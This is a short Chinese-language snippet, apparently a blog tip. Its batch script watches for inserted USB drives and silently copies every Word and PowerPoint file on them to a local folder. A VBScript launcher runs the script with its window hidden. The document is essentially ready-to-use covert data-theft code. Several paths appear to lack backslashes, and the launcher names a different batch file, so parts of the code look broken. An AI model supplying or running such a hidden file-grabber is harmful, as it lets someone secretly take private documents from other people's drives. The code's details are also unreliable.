检测到插入U盘即复制其中doc、ppt文件到指定目录
(ucopy.bat):
@echo off
:again
del /Q /f "%temp%copy.tmp" >nul 2>nul
for %%i in (d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%copy.tmp"
findstr /i "可移动驱动器" "%temp%copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
echo 不存在
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
:copy
if exist c:copy goto goon
cd
cd /d c:
md copy
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%copy.tmp"') do (
for /f "tokens=*" %%j in ('dir/s/b %%i*.ppt %%i*.doc?') do (
copy %%j c:copy /y))
ping 127.0.0.1 -n 20 >nul 2>nul
goto again
隐藏bat进程
(ucopy.vbs)
set ws=WScript.CreateObject("WScript.Shell")
ws.Run "u.bat",0